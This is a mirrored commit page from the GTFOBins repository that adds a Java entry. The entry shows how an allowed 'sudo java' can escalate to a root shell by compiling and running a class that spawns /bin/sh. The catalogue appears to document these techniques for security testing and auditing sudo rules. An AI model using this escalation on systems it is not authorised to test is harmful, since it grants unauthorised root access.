mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add sudo java
This commit is contained in:
parent
ac8e667a7e
commit
dc77ae1823
10
_gtfobins/java.md
Normal file
10
_gtfobins/java.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TD=$(mktemp -d)
|
||||||
|
SOURCE='public class Exec { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } }'
|
||||||
|
echo "$SOURCE" > $TD/Exec.java
|
||||||
|
javac $TD/Exec.java
|
||||||
|
sudo java -cp $TD Exec
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user